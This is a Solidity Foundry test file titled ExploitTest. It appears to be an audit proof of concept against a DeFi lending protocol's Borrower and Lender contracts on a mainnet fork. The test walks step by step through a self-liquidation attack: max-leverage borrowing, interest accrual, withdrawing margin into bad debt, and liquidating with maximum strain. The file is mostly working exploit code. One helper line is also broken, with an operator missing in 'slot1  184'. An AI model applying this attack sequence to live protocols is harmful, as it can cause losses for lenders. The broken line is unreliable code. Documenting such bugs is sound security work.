```\n// SPDX-License-Identifier: AGPL-3.0-only\npragma solidity 0.8.17;\n\nimport "forge-std/Test.sol";\n\nimport {MAX_RATE, DEFAULT_ANTE, DEFAULT_N_SIGMA, LIQUIDATION_INCENTIVE} from "src/libraries/constants/Constants.sol";\nimport {Q96} from "src/libraries/constants/Q.sol";\nimport {zip} from "src/libraries/Positions.sol";\n\nimport "src/Borrower.sol";\nimport "src/Factory.sol";\nimport "src/Lender.sol";\nimport "src/RateModel.sol";\n\nimport {FatFactory, VolatilityOracleMock} from "./Utils.sol";\n\ncontract RateModelMax is IRateModel {\n    uint256 private constant _A = 6.1010463348e20;\n\n    uint256 private constant _B = _A / 1e18;\n\n    /// @inheritdoc IRateModel\n    function getYieldPerSecond(uint256 utilization, address) external pure returns (uint256) {\n        unchecked {\n            return (utilization < 0.99e18) ? _A / (1e18 - utilization) - _B : MAX_RATE;\n        }\n    }\n}\n\ncontract ExploitTest is Test, IManager, ILiquidator {\n    IUniswapV3Pool constant pool = IUniswapV3Pool(0xC2e9F25Be6257c210d7Adf0D4Cd6E3E881ba25f8);\n    ERC20 constant asset0 = ERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);\n    ERC20 constant asset1 = ERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n\n    Lender immutable lender0;\n    Lender immutable lender1;\n    Borrower immutable account;\n\n    constructor() {\n        vm.createSelectFork(vm.rpcUrl("mainnet"));\n        vm.rollFork(15_348_451);\n\n        Factory factory = new FatFactory(\n            address(0),\n            address(0),\n            VolatilityOracle(address(new VolatilityOracleMock())),\n            new RateModelMax()\n        );\n\n        factory.createMarket(pool);\n        (lender0, lender1, ) = factory.getMarket(pool);\n        account = factory.createBorrower(pool, address(this), bytes12(0));\n    }\n\n    function setUp() public {\n        // deal to lender and deposit (so that there are assets to borrow)\n        deal(address(asset0), address(lender0), 10000e18); // DAI\n        deal(address(asset1), address(lender1), 10000e18); // WETH\n        lender0.deposit(10000e18, address(12345));\n        lender1.deposit(10000e18, address(12345));\n\n        deal(address(account), DEFAULT_ANTE + 1);\n    }\n\n    function test_selfLiquidation() public {\n\n        // malicious user borrows at max leverage + some safety margin\n        uint256 margin0 = 51e18 + 1000e18;\n        uint256 borrows0 = 10000e18;\n\n        deal(address(asset0), address(account), margin0);\n\n        bytes memory data = abi.encode(Action.BORROW, borrows0, 0);\n        account.modify(this, data, (1 << 32));\n\n        assertEq(lender0.borrowBalance(address(account)), borrows0);\n        assertEq(asset0.balanceOf(address(account)), borrows0 + margin0);\n\n        // skip 1 day (without transactions)\n        skip(86400);\n\n        emit log_named_uint("User borrow:", lender0.borrowBalance(address(account)));\n        emit log_named_uint("User stored borrow:", lender0.borrowBalanceStored(address(account)));\n\n        // withdraw all the "extra" balance putting account into bad debt\n        bytes memory data2 = abi.encode(Action.WITHDRAW, 1000e18, 0);\n        account.modify(this, data2, (1 << 32));\n\n        // account is still not liquidatable (because liquidation also uses stored liabilities)\n        vm.expectRevert();\n        account.warn((1 << 32));\n\n        // make account liquidatable by settling accumulated interest\n        lender0.accrueInterest();\n\n        // warn account\n        account.warn((1 << 32));\n\n        // skip warning time\n        skip(LIQUIDATION_GRACE_PERIOD);\n        lender0.accrueInterest();\n\n        // liquidation reverts because it requires asset the account doesn't have to swap\n        vm.expectRevert();\n        account.liquidate(this, bytes(""), 1, (1 << 32));\n\n        emit log_named_uint("Before liquidation User borrow:", lender0.borrowBalance(address(account)));\n        emit log_named_uint("Before liquidation User stored borrow:", lender0.borrowBalanceStored(address(account)));\n        emit log_named_uint("Before liquidation User assets:", asset0.balanceOf(address(account)));\n\n        // liquidate with max strain to avoid revert when trying to swap assets account doesn't have\n        account.liquidate(this, bytes(""), type(uint256).max, (1 << 32));\n\n        emit log_named_uint("Liquidated User borrow:", lender0.borrowBalance(address(account)));\n        emit log_named_uint("Liquidated User assets:", asset0.balanceOf(address(account)));\n    }\n\n    enum Action {\n        WITHDRAW,\n        BORROW,\n        UNI_DEPOSIT\n    }\n\n    // IManager\n    function callback(bytes calldata data, address, uint208) external returns (uint208 positions) {\n        require(msg.sender == address(account));\n\n        (Action action, uint256 amount0, uint256 amount1) = abi.decode(data, (Action, uint256, uint256));\n\n        if (action == Action.WITHDRAW) {\n            account.transfer(amount0, amount1, address(this));\n        } else if (action == Action.BORROW) {\n            account.borrow(amount0, amount1, msg.sender);\n        } else if (action == Action.UNI_DEPOSIT) {\n            account.uniswapDeposit(-75600, -75540, 200000000000000000);\n            positions = zip([-75600, -75540, 0, 0, 0, 0]);\n        }\n    }\n\n    // ILiquidator\n    receive() external payable {}\n\n    function swap1For0(bytes calldata data, uint256 actual, uint256 expected0) external {\n        /*\n        uint256 expected = abi.decode(data, (uint256));\n        if (expected == type(uint256).max) {\n            Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\n        }\n        assertEq(actual, expected);\n        */\n        pool.swap(msg.sender, false, -int256(expected0), TickMath.MAX_SQRT_RATIO - 1, bytes(""));\n    }\n\n    function swap0For1(bytes calldata data, uint256 actual, uint256 expected1) external {\n        /*\n        uint256 expected = abi.decode(data, (uint256));\n        if (expected == type(uint256).max) {\n            Borrower(payable(msg.sender)).liquidate(this, data, 1, (1 << 32));\n        }\n        assertEq(actual, expected);\n        */\n        pool.swap(msg.sender, true, -int256(expected1), TickMath.MIN_SQRT_RATIO + 1, bytes(""));\n    }\n\n    // IUniswapV3SwapCallback\n    function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata) external {\n        if (amount0Delta > 0) asset0.transfer(msg.sender, uint256(amount0Delta));\n        if (amount1Delta > 0) asset1.transfer(msg.sender, uint256(amount1Delta));\n    }\n\n    // Factory mock\n    function getParameters(IUniswapV3Pool) external pure returns (uint248 ante, uint8 nSigma) {\n        ante = DEFAULT_ANTE;\n        nSigma = DEFAULT_N_SIGMA;\n    }\n\n    // (helpers)\n    function _setInterest(Lender lender, uint256 amount) private {\n        bytes32 ID = bytes32(uint256(1));\n        uint256 slot1 = uint256(vm.load(address(lender), ID));\n\n        uint256 borrowBase = slot1 % (1 << 184);\n        uint256 borrowIndex = slot1  184;\n\n        uint256 newSlot1 = borrowBase + (((borrowIndex * amount) / 10_000) << 184);\n        vm.store(address(lender), ID, bytes32(newSlot1));\n    }\n}\n```\n